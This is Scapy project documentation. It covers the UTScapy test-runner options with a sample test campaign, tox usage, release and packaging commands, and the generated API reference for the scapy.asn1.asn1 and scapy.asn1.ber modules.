Table 3 - UTScapy command line syntax

All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. –lqF). If no testfile is specified, the test definition comes from <STDIN>. Similarly, if no output file is specified it is directed to <STDOUT>. The default output format is “ansi”. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy.



	Argument

	Argument Value

	Meaning to UTScapy





	-t

	testfile

	Input test file defining test campaign (default = <STDIN>)



	-o

	output_file

	File for output of test campaign results (default = <STDOUT>)



	-f

	test

	ansi, HTML, LaTeX, Format out output report (default = ansi)



	-l

	
	Generate report associated files locally. For HTML, generates JavaScript
and the style sheet



	-F

	
	Failed test cases will be initially expanded by default in HTML output



	-d

	
	Print a terse listing of the campaign before executing the campaign



	-D

	
	Print a terse listing of the campaign and stop. Do not execute campaign



	-C

	
	Do not calculate test signatures



	-q

	
	Do not update test progress to the screen as tests are executed



	-qq

	
	Silent mode



	-n

	testnum

	Execute only those tests listed by number. Test numbers may be
retrieved using –d or –D. Tests may be listed as a comma
separated list and may include ranges (e.g. 1, 3-7, 12)



	-m

	module

	Load module before executing tests. Useful in testing derived works of Scapy.
Note: Derived works that are intended to execute as “__main__” will not be
invoked by UTScapy as “__main__”.



	-k

	kw1, kw2, …

	Include only tests with keyword “kw1”. Multiple keywords may be specified.



	-K

	kw1, kw2, …

	Exclude tests with keyword “kw1”. Multiple keywords may be specified.






Table 4 - UTScapy parameters

Table 5 shows a simple test campaign with multiple tests set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the assert() statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design.

% Example Test Campaign

# Comment describing this campaign
#
# To run this campaign, try:
#   ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F
#

* This comment is associated with the test campaign and will appear
* in the produced output.

+ Test Set 1

= Unit Test 1
~ test_set_1 simple
a = 1
print a

= Unit test 2
~ test_set_1 simple
* this test will fail
b = 2
a == b

= Unit test 3
~ test_set_1 harder
a = 1
b = 2
c = "hello"
assert (a != b)
c == "hello"

+ Test Set 2

= Unit Test 4
~ test_set_2 harder
b = 2
d = b
d is b

= Unit Test 5
~ test_set_2 harder hardest
a = 2
b = 3
d = 4
e = (a * b)**d
# The following statement evaluates to False but is not last; continue
e == 6
# assert evaluates to False; stop test and fail
assert (e == 7)
e == 1296

= Unit Test 6
~ test_set_2 hardest
print e
e == 1296





To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file demo_campaign.txt and run UTScapy against it:

./test/run_tests -t demo_campaign.txt -f html -o demo_campaign.html -F -l





Examine the output generated in file demo_campaign.html.



Using tox to test Scapy

The tox command simplifies testing Scapy. It will automatically create
virtual environments and install the mandatory Python modules.

For example, on a fresh Debian installation, the following command will start
all Scapy unit tests automatically without any external dependency:

tox -- -K vcan_socket -K tcpdump -K tshark -K nmap -K manufdb -K crypto






Note

This will trigger the unit tests on all available Python versions
unless you specify a -e option. See below



For your convenience, and for package maintainers, we provide a util that
run tox on only a single (default Python) environment, again with no external
dependencies:

./test/run_tests







VIM syntax highlighting for .uts files

Copy all files from scapy/doc/syntax/vim_uts_syntax/ftdetect and scapy/doc/syntax/vim_uts_syntax/syntax into ~/.vim/ and preserve the folder structure.

If ftdetect/filetype.vim already exists, you might need to modify this file manually.

These commands will do the installation:

cp -i -v ftdetect/filetype.vim $HOME/.vim/ftdetect/filetype.vim
cp -i -v ftdetect/uts.vim $HOME/.vim/ftdetect/uts.vim
cp -i -v syntax/uts.vim $HOME/.vim/syntax/uts.vim





Alternatively, a install script in scapy/doc/syntax/vim_uts_syntax/ does the installation automatically.




Releasing Scapy

Under the hood, a Scapy release is represented as a signed git tag. Prior to
signing a commit, the maintainer that wishes to create a release must:


	check that the corresponding Travis and AppVeyor tests pass


	run ./run_scapy locally


	run tox


	run unit tests on BSD using the Vagrant setup from scapy/doc/vagrant_ci/




Taking v2.4.3 as an example, the following commands can be used to sign and
publish the release:

git tag -s v2.4.3 -m "Release 2.4.3"
git tag v2.4.3 -v
git push --tags





Release Candidates (RC) could also be done. For example, the first RC will be
tagged v2.4.3rc1 and the message 2.4.3 Release Candidate #1.

Prior to uploading the release to PyPi, the mail address of the maintainer
performing the release must be added next to his name in pyproject.toml.
See this [https://packaging.python.org/en/latest/specifications/declaring-project-metadata/#authors-maintainers] for details.

The following commands can then be used:

pip install --upgrade build
python -m build
twine check dist/*
twine upload dist/*






Warning

Make sure that you don’t have left-overs in your dist/ folder ! There should only be the source and the wheel for the package.
Also check that the wheel ends in *-py3-none-any.whl !





Packaging Scapy

When packaging Scapy, you should build the source while setting the SCAPY_VERSION variable, in order to make sure that the version remains consistent.

$ SCAPY_VERSION=2.5.0 python3 -m build
...
Successfully built scapy-2.5.0.tar.gz and scapy-2.5.0-py3-none-any.whl





If you want to test Scapy while packaging it, you are encouraged to use the ./run_tests script with no arguments. It will run a subset of the tests that don’t use any external dependency, and will be easier to test. The only dependency is tox

$ ./test/run_tests
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Scapy API reference

Scapy: create, send, sniff, dissect and manipulate network packets.

Usable either from an interactive console or as a Python library.
https://scapy.net


Subpackages



	scapy.asn1 package
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scapy.asn1 package

Package holding ASN.1 related modules.


Submodules



	scapy.asn1.asn1

	scapy.asn1.ber

	scapy.asn1.mib









            

          

      

      

    

  

    
      
          
            
  
scapy.asn1.asn1

ASN.1 (Abstract Syntax Notation One)


	
class scapy.asn1.asn1.ASN1Codec(key: str, value: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L126-L141]

	Bases: EnumElement


	
dec(s: bytes, context: Type[ASN1_Class] | None = None) → ASN1_Object[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L131-L133]

	




	
get_stem() → type[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L139-L141]

	




	
register_stem(stem: Type[BERcodec_Object[Any]]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L127-L129]

	




	
safedec(s: bytes, context: Type[ASN1_Class] | None = None) → ASN1_Object[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L135-L137]

	








	
class scapy.asn1.asn1.ASN1Tag(key: str, value: int, context: Optional[Type[ASN1_Class]] = None, codec: Optional[Dict[ASN1Codec, Type[BERcodec_Object[Any]]]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L160-L199]

	Bases: EnumElement


	
asn1_object(val: Any) → ASN1_Object[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L183-L187]

	




	
clone() → ASN1Tag[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L175-L177]

	




	
get_codec(codec: Any) → Type[BERcodec_Object[Any]][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L193-L199]

	




	
register(codecnum: ASN1Codec, codec: Type[BERcodec_Object[Any]]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L189-L191]

	




	
register_asn1_object(asn1obj: Type[ASN1_Object[Any]]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L179-L181]

	








	
class scapy.asn1.asn1.ASN1_BADTAG(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L414-L415]

	Bases: ASN1_force






	
class scapy.asn1.asn1.ASN1_BIT_STRING(val: AnyStr, readable: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L444-L520]

	Bases: ASN1_Object[str]

ASN1_BIT_STRING values are bit strings like “011101”.
A zero-bit padded readable string is provided nonetheless,
which is stored in val_readable


	
set(i: int, val: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L497-L504]

	Sets bit ‘i’ to value ‘val’ (starting from 0)






	
tag = <ASN1Tag BIT_STRING[3]>

	








	
class scapy.asn1.asn1.ASN1_BMP_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L710-L711]

	Bases: ASN1_STRING


	
tag = <ASN1Tag BMP_STRING[30]>

	








	
class scapy.asn1.asn1.ASN1_BOOLEAN(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L435-L441]

	Bases: ASN1_INTEGER


	
tag = <ASN1Tag BOOLEAN[1]>

	








	
exception scapy.asn1.asn1.ASN1_BadTag_Decoding_Error[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L122-L123]

	Bases: ASN1_Decoding_Error






	
class scapy.asn1.asn1.ASN1_COUNTER32(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L733-L734]

	Bases: ASN1_INTEGER


	
tag = <ASN1Tag COUNTER32[65]>

	








	
class scapy.asn1.asn1.ASN1_COUNTER64(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L737-L738]

	Bases: ASN1_INTEGER


	
tag = <ASN1Tag COUNTER64[70]>

	








	
class scapy.asn1.asn1.ASN1_Class[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L236-L237]

	Bases: object






	
class scapy.asn1.asn1.ASN1_Class_UNIVERSAL[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L240-L280]

	Bases: ASN1_Class


	
ANY = <ASN1Tag ANY[0]>

	




	
BIT_STRING = <ASN1Tag BIT_STRING[3]>

	




	
BMP_STRING = <ASN1Tag BMP_STRING[30]>

	




	
BOOLEAN = <ASN1Tag BOOLEAN[1]>

	




	
CHAR_STRING = <ASN1Tag CHAR_STRING[29]>

	




	
COUNTER32 = <ASN1Tag COUNTER32[65]>

	




	
COUNTER64 = <ASN1Tag COUNTER64[70]>

	




	
EMBEDDED_PDF = <ASN1Tag EMBEDDED_PDF[11]>

	




	
ENUMERATED = <ASN1Tag ENUMERATED[10]>

	




	
ERROR = <ASN1Tag ERROR[-3]>

	




	
EXTERNAL = <ASN1Tag EXTERNAL[8]>

	




	
GAUGE32 = <ASN1Tag GAUGE32[66]>

	




	
GENERALIZED_TIME = <ASN1Tag GENERALIZED_TIME[24]>

	




	
GENERAL_STRING = <ASN1Tag GENERAL_STRING[27]>

	




	
GRAPHIC_STRING = <ASN1Tag GRAPHIC_STRING[25]>

	




	
IA5_STRING = <ASN1Tag IA5_STRING[22]>

	




	
INTEGER = <ASN1Tag INTEGER[2]>

	




	
IPADDRESS = <ASN1Tag IPADDRESS[64]>

	




	
ISO646_STRING = <ASN1Tag ISO646_STRING[26]>

	




	
NONE = <ASN1Tag NONE[-1]>

	




	
NULL = <ASN1Tag NULL[5]>

	




	
NUMERIC_STRING = <ASN1Tag NUMERIC_STRING[18]>

	




	
OBJECT_DESCRIPTOR = <ASN1Tag OBJECT_DESCRIPTOR[7]>

	




	
OID = <ASN1Tag OID[6]>

	




	
PRINTABLE_STRING = <ASN1Tag PRINTABLE_STRING[19]>

	




	
RAW = <ASN1Tag RAW[-2]>

	




	
REAL = <ASN1Tag REAL[9]>

	




	
RELATIVE_OID = <ASN1Tag RELATIVE_OID[13]>

	




	
SEQUENCE = <ASN1Tag SEQUENCE[48]>

	




	
SET = <ASN1Tag SET[49]>

	




	
STRING = <ASN1Tag STRING[4]>

	




	
T61_STRING = <ASN1Tag T61_STRING[20]>

	




	
TIME_TICKS = <ASN1Tag TIME_TICKS[67]>

	




	
UNIVERSAL_STRING = <ASN1Tag UNIVERSAL_STRING[28]>

	




	
UTC_TIME = <ASN1Tag UTC_TIME[23]>

	




	
UTF8_STRING = <ASN1Tag UTF8_STRING[12]>

	




	
VIDEOTEX_STRING = <ASN1Tag VIDEOTEX_STRING[21]>

	




	
name = 'UNIVERSAL'

	








	
class scapy.asn1.asn1.ASN1_Class_metaclass(name: str, bases: Tuple[type, ...], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L202-L233]

	Bases: Enum_metaclass


	
element_class[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L160-L199]

	alias of ASN1Tag










	
class scapy.asn1.asn1.ASN1_Codecs[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L148-L157]

	Bases: object


	
BACnet = <ASN1Codec BACnet[6]>

	




	
BER = <ASN1Codec BER[1]>

	




	
CER = <ASN1Codec CER[4]>

	




	
DER = <ASN1Codec DER[2]>

	




	
LWER = <ASN1Codec LWER[5]>

	




	
OER = <ASN1Codec OER[7]>

	




	
PER = <ASN1Codec PER[3]>

	




	
SER = <ASN1Codec SER[8]>

	




	
XER = <ASN1Codec XER[9]>

	








	
class scapy.asn1.asn1.ASN1_Codecs_metaclass(name: Any, bases: str, dct: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L144-L145]

	Bases: Enum_metaclass


	
element_class[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L126-L141]

	alias of ASN1Codec










	
class scapy.asn1.asn1.ASN1_DECODING_ERROR(val: bytes | ASN1_Object[Any], exc: Exception | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L381-L401]

	Bases: _ASN1_ERROR


	
enc(codec: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L397-L401]

	




	
tag = <ASN1Tag ERROR[-3]>

	








	
exception scapy.asn1.asn1.ASN1_Decoding_Error[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L118-L119]

	Bases: ASN1_Error






	
class scapy.asn1.asn1.ASN1_ENUMERATED(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L550-L551]

	Bases: ASN1_INTEGER


	
tag = <ASN1Tag ENUMERATED[10]>

	








	
exception scapy.asn1.asn1.ASN1_Encoding_Error[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L114-L115]

	Bases: ASN1_Error






	
exception scapy.asn1.asn1.ASN1_Error[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L110-L111]

	Bases: Scapy_Exception






	
class scapy.asn1.asn1.ASN1_GAUGE32(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L741-L742]

	Bases: ASN1_INTEGER


	
tag = <ASN1Tag GAUGE32[66]>

	








	
class scapy.asn1.asn1.ASN1_GENERALIZED_TIME(val: str | datetime)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L582-L695]

	Bases: ASN1_STRING

Improved version of ASN1_GENERALIZED_TIME, properly handling time zones and
all string representation formats defined by ASN.1. These are:


	Local time only:                        YYYYMMDDHH[MM[SS[.fff]]]


	Universal time (UTC time) only:         YYYYMMDDHH[MM[SS[.fff]]]Z


	Difference between local and UTC times: YYYYMMDDHH[MM[SS[.fff]]]+-HHMM




It also handles ASN1_UTC_TIME, which allows:


	Universal time (UTC time) only:         YYMMDDHHMM[SS[.fff]]Z


	Difference between local and UTC times: YYMMDDHHMM[SS[.fff]]+-HHMM




Note the differences: Year is only two digits, minutes are not optional and
there is no milliseconds.


	
pretty_time = None

	




	
tag = <ASN1Tag GENERALIZED_TIME[24]>

	








	
class scapy.asn1.asn1.ASN1_GENERAL_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L578-L579]

	Bases: ASN1_STRING


	
tag = <ASN1Tag GENERAL_STRING[27]>

	








	
class scapy.asn1.asn1.ASN1_IA5_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L574-L575]

	Bases: ASN1_STRING


	
tag = <ASN1Tag IA5_STRING[22]>

	








	
class scapy.asn1.asn1.ASN1_INTEGER(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L418-L432]

	Bases: ASN1_Object[int]


	
tag = <ASN1Tag INTEGER[2]>

	








	
class scapy.asn1.asn1.ASN1_IPADDRESS(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L729-L730]

	Bases: ASN1_STRING


	
tag = <ASN1Tag IPADDRESS[64]>

	








	
class scapy.asn1.asn1.ASN1_ISO646_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L702-L703]

	Bases: ASN1_STRING


	
tag = <ASN1Tag ISO646_STRING[26]>

	








	
class scapy.asn1.asn1.ASN1_NULL(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L527-L532]

	Bases: ASN1_Object[None]


	
tag = <ASN1Tag NULL[5]>

	








	
class scapy.asn1.asn1.ASN1_NUMERIC_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L558-L559]

	Bases: ASN1_STRING


	
tag = <ASN1Tag NUMERIC_STRING[18]>

	








	
class scapy.asn1.asn1.ASN1_OID(val: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L535-L547]

	Bases: ASN1_Object[str]


	
tag = <ASN1Tag OID[6]>

	








	
class scapy.asn1.asn1.ASN1_Object(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L304-L368]

	Bases: Generic[_K]


	
command(json: bool = False) → Dict[str, str] | str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L359-L368]

	




	
enc(codec: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L311-L313]

	




	
show(lvl: int = 0) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L331-L333]

	




	
strshow(lvl: int = 0) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L327-L329]

	




	
tag = <ASN1Tag ANY[0]>

	








	
class scapy.asn1.asn1.ASN1_Object_metaclass(name: str, bases: Tuple[type, ...], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L283-L298]

	Bases: type






	
class scapy.asn1.asn1.ASN1_PRINTABLE_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L562-L563]

	Bases: ASN1_STRING


	
tag = <ASN1Tag PRINTABLE_STRING[19]>

	








	
class scapy.asn1.asn1.ASN1_SEQUENCE(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L714-L722]

	Bases: ASN1_Object[List[Any]]


	
strshow(lvl: int = 0) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L717-L722]

	




	
tag = <ASN1Tag SEQUENCE[48]>

	








	
class scapy.asn1.asn1.ASN1_SET(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L725-L726]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag SET[49]>

	








	
class scapy.asn1.asn1.ASN1_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L523-L524]

	Bases: ASN1_Object[str]


	
tag = <ASN1Tag STRING[4]>

	








	
class scapy.asn1.asn1.ASN1_T61_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L566-L567]

	Bases: ASN1_STRING


	
tag = <ASN1Tag T61_STRING[20]>

	








	
class scapy.asn1.asn1.ASN1_TIME_TICKS(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L745-L746]

	Bases: ASN1_INTEGER


	
tag = <ASN1Tag TIME_TICKS[67]>

	








	
class scapy.asn1.asn1.ASN1_UNIVERSAL_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L706-L707]

	Bases: ASN1_STRING


	
tag = <ASN1Tag UNIVERSAL_STRING[28]>

	








	
class scapy.asn1.asn1.ASN1_UTC_TIME(val: str | datetime)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L698-L699]

	Bases: ASN1_GENERALIZED_TIME


	
tag = <ASN1Tag UTC_TIME[23]>

	








	
class scapy.asn1.asn1.ASN1_UTF8_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L554-L555]

	Bases: ASN1_STRING


	
tag = <ASN1Tag UTF8_STRING[12]>

	








	
class scapy.asn1.asn1.ASN1_VIDEOTEX_STRING(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L570-L571]

	Bases: ASN1_STRING


	
tag = <ASN1Tag VIDEOTEX_STRING[21]>

	








	
class scapy.asn1.asn1.ASN1_force(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L404-L411]

	Bases: _ASN1_ERROR


	
enc(codec: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L407-L411]

	




	
tag = <ASN1Tag RAW[-2]>

	








	
class scapy.asn1.asn1.RandASN1Object(objlist: List[Type[ASN1_Object[Any]]] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L72-L103]

	Bases: RandField[ASN1_Object[Any]]








            

          

      

      

    

  

    
      
          
            
  
scapy.asn1.ber

Basic Encoding Rules (BER) for ASN.1


	
exception scapy.asn1.ber.BER_BadTag_Decoding_Error(msg: str, decoded: Any | None = None, remaining: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L102-L104]

	Bases: BER_Decoding_Error, ASN1_BadTag_Decoding_Error






	
exception scapy.asn1.ber.BER_Decoding_Error(msg: str, decoded: Any | None = None, remaining: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L80-L99]

	Bases: ASN1_Decoding_Error






	
exception scapy.asn1.ber.BER_Encoding_Error(msg: str, encoded: BERcodec_Object[Any] | str | None = None, remaining: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L58-L77]

	Bases: ASN1_Encoding_Error






	
exception scapy.asn1.ber.BER_Exception[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L54-L55]

	Bases: Exception






	
scapy.asn1.ber.BER_id_dec(s: bytes) → Tuple[int, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L175-L199]

	




	
scapy.asn1.ber.BER_id_enc(n: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L202-L214]

	




	
scapy.asn1.ber.BER_len_dec(s: bytes) → Tuple[int, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L127-L143]

	




	
scapy.asn1.ber.BER_len_enc(ll: int, size: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L107-L124]

	




	
scapy.asn1.ber.BER_num_dec(s: bytes, cls_id: int = 0) → Tuple[int, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L158-L172]

	




	
scapy.asn1.ber.BER_num_enc(ll: int, size: int = 1) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L146-L155]

	




	
scapy.asn1.ber.BER_tagging_dec(s: bytes, hidden_tag: int | ASN1Tag | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, safe: bool | None = False, _fname: str = '') → Tuple[int | None, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L219-L255]

	




	
scapy.asn1.ber.BER_tagging_enc(s: bytes, implicit_tag: int | None = None, explicit_tag: int | None = None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L258-L265]

	




	
class scapy.asn1.ber.BERcodec_BIT_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L457-L500]

	Bases: BERcodec_Object[str]


	
classmethod do_dec(s: bytes, context: Type[ASN1_Class] | None = None, safe: bool = False) → Tuple[ASN1_Object[str], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L460-L485]

	




	
classmethod enc(_s: AnyStr, size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L487-L500]

	




	
tag = <ASN1Tag BIT_STRING[3]>

	








	
class scapy.asn1.ber.BERcodec_BMP_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L622-L623]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag BMP_STRING[30]>

	








	
class scapy.asn1.ber.BERcodec_BOOLEAN[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L453-L454]

	Bases: BERcodec_INTEGER


	
tag = <ASN1Tag BOOLEAN[1]>

	








	
class scapy.asn1.ber.BERcodec_COUNTER32[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L697-L698]

	Bases: BERcodec_INTEGER


	
tag = <ASN1Tag COUNTER32[65]>

	








	
class scapy.asn1.ber.BERcodec_COUNTER64[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L701-L702]

	Bases: BERcodec_INTEGER


	
tag = <ASN1Tag COUNTER64[70]>

	








	
class scapy.asn1.ber.BERcodec_ENUMERATED[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L574-L575]

	Bases: BERcodec_INTEGER


	
tag = <ASN1Tag ENUMERATED[10]>

	








	
class scapy.asn1.ber.BERcodec_GAUGE32[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L705-L706]

	Bases: BERcodec_INTEGER


	
tag = <ASN1Tag GAUGE32[66]>

	








	
class scapy.asn1.ber.BERcodec_GENERALIZED_TIME[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L610-L611]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag GENERALIZED_TIME[24]>

	








	
class scapy.asn1.ber.BERcodec_GENERAL_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L602-L603]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag GENERAL_STRING[27]>

	








	
class scapy.asn1.ber.BERcodec_IA5_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L598-L599]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag IA5_STRING[22]>

	








	
class scapy.asn1.ber.BERcodec_INTEGER[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L413-L450]

	Bases: BERcodec_Object[int]


	
classmethod do_dec(s: bytes, context: Type[ASN1_Class] | None = None, safe: bool = False) → Tuple[ASN1_Object[int], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L435-L450]

	




	
classmethod enc(i: int, size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L416-L433]

	




	
tag = <ASN1Tag INTEGER[2]>

	








	
class scapy.asn1.ber.BERcodec_IPADDRESS[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L673-L694]

	Bases: BERcodec_STRING


	
classmethod do_dec(s: bytes, context: Any | None = None, safe: bool = False) → Tuple[ASN1_Object[str], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L685-L694]

	




	
classmethod enc(ipaddr_ascii: str, size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L676-L683]

	




	
tag = <ASN1Tag IPADDRESS[64]>

	








	
class scapy.asn1.ber.BERcodec_ISO646_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L614-L615]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag ISO646_STRING[26]>

	








	
class scapy.asn1.ber.BERcodec_NULL[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L524-L533]

	Bases: BERcodec_INTEGER


	
classmethod enc(i: int, size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L527-L533]

	




	
tag = <ASN1Tag NULL[5]>

	








	
class scapy.asn1.ber.BERcodec_NUMERIC_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L582-L583]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag NUMERIC_STRING[18]>

	








	
class scapy.asn1.ber.BERcodec_OID[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L536-L571]

	Bases: BERcodec_Object[bytes]


	
classmethod do_dec(s: bytes, context: Type[ASN1_Class] | None = None, safe: bool = False) → Tuple[ASN1_Object[bytes], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L553-L571]

	




	
classmethod enc(_oid: AnyStr, size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L539-L551]

	




	
tag = <ASN1Tag OID[6]>

	








	
class scapy.asn1.ber.BERcodec_Object[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L289-L403]

	Bases: Generic[_K]


	
classmethod asn1_object(val: _K) → ASN1_Object[_K][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L293-L296]

	




	
classmethod check_string(s: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L298-L305]

	




	
classmethod check_type(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L307-L317]

	




	
classmethod check_type_check_len(s: bytes) → Tuple[int, bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L328-L335]

	




	
classmethod check_type_get_len(s: bytes) → Tuple[int, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L319-L326]

	




	
codec = <ASN1Codec BER[1]>

	




	
